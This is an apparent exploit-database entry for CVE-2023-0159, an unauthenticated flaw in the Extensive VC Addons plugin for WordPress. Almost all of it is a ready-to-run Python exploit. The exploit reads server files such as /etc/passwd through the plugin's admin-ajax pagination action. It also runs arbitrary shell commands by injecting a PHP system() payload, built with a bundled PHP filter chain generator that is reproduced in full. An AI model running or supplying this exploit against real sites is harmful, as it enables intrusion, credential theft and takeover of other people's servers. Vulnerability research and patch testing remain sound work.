# Exploit Title: Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE
# Date: 12 march 2025
# Exploit Author: Ravina
# Vendor Homepage: wprealize
# Version: 1.9.1
# Tested on: windows, linux
# CVE ID : CVE-2023-0159
# Vulnerability Type: Remote Code Execution
------------------------------------------------
# CVE-2023-0159_scan.py
#!/usr/bin/env python3
# LFI: ./exploit.py --mode lfi --target https://vuln-site.com --file /etc/passwd
# RCE: ./exploit.py --mode rce --target https://vuln-site.com --command "id" --generator /path/to/php_filter_chain_generator.py
import argparse
import requests
import base64
import subprocess
import time
import php_filter_chain_generator
def run_lfi(target, file_path):
url = f"{target}/wp-admin/admin-ajax.php"
payload = {
'action': 'extensive_vc_init_shortcode_pagination',
'options[template]': f'php://filter/convert.base64-encode/resource={file_path}'
}
try:
response = requests.post(url, data=payload)
if response.status_code == 200 and '{"status":"success","message":"Items are loaded","data":' in response.text:
try:
json_data = response.json()
base64_content = json_data['data']['items']
decoded = base64.b64decode(base64_content).decode()
print(f"\n[+] Successfully read {file_path}:\n")
print(decoded)
except Exception as e:
print(f"[-] Decoding failed: {str(e)}")
print(f"Raw response (truncated): {response.text[:500]}...")
else:
print(f"[-] LFI failed (Status: {response.status_code})")
except Exception as e:
print(f"[-] Request failed: {str(e)}")
def run_rce(target, command, generator_path):
# Base64 encode command to handle special characters
encoded_cmd = base64.b64encode(command.encode()).decode()
php_code = f'<?php system(base64_decode("{encoded_cmd}")); ?>'
# Generate filter chain
try:
result = subprocess.run(
[generator_path, '--chain', php_code],
capture_output=True,
text=True,
check=True
)
payload = None
for line in result.stdout.split('\n'):
if line.startswith('php://filter'):
payload = line.strip()
break
if not payload:
print("[-] Failed to generate payload")
return
url = f"{target}/wp-admin/admin-ajax.php"
data = {'action': 'extensive_vc_init_shortcode_pagination', 'options[template]': payload}
print(f"[*] Sending payload for command: {command}")
start_time = time.time()
# Send the request to attempt RCE and dont forget to pass the generator path
response = requests.post(url, data=data)
elapsed = time.time() - start_time
print(f"\n[+] Response time: {elapsed:.2f} seconds")
print(f"[+] Status code: {response.status_code}")
if response.status_code == 200:
print("\n[+] Response content:")
print(response.text[:1000] + ("..." if len(response.text) > 1000 else ""))
except subprocess.CalledProcessError as e:
print(f"[-] Filter chain generator failed: {e.stderr}")
except FileNotFoundError:
print(f"[-] Generator not found at {generator_path}")
except Exception as e:
print(f"[-] RCE failed: {str(e)}")
def main():
parser = argparse.ArgumentParser(description="CVE-2023-0159 Exploit Script")
parser.add_argument("--mode", choices=["lfi", "rce"], required=True, help="Exploit mode")
parser.add_argument("--target", required=True, help="Target URL (e.g., https://example.com)")
parser.add_argument("--file", help="File path for LFI mode")
parser.add_argument("--command", help="Command to execute for RCE mode")
parser.add_argument("--generator", default="php_filter_chain_generator.py",
help="Path to php_filter_chain_generator.py")
args = parser.parse_args()
if args.mode == "lfi":
if not args.file:
print("[-] Missing --file argument for LFI mode")
return
run_lfi(args.target.rstrip('/'), args.file)
elif args.mode == "rce":
if not args.command:
print("[-] Missing --command argument for RCE mode")
return
run_rce(args.target.rstrip('/'), args.command, args.generator)
if __name__ == "__main__":
main()
------------------------------------------
# php_filter_chain_generator.py
#!/usr/bin/env python3
import argparse
import base64
import re
# No need to guess a valid filename anymore
file_to_use = "php://temp"
conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}
def generate_filter_chain(chain, debug_base64 = False):
encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload
def main():
# Parsing command line arguments
parser = argparse.ArgumentParser(description="PHP filter chain generator.")
parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
args = parser.parse_args()
if args.chain is not None:
chain = args.chain.encode('utf-8')
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
chain = generate_filter_chain(base64_value)
print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
print(chain)
if args.rawbase64 is not None:
rawbase64 = args.rawbase64.replace("=", "")
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
if (match):
chain = generate_filter_chain(rawbase64, True)
print(chain)
else:
print ("[-] Base64 string required.")
exit(1)
if __name__ == "__main__":
main()Credits and Partners
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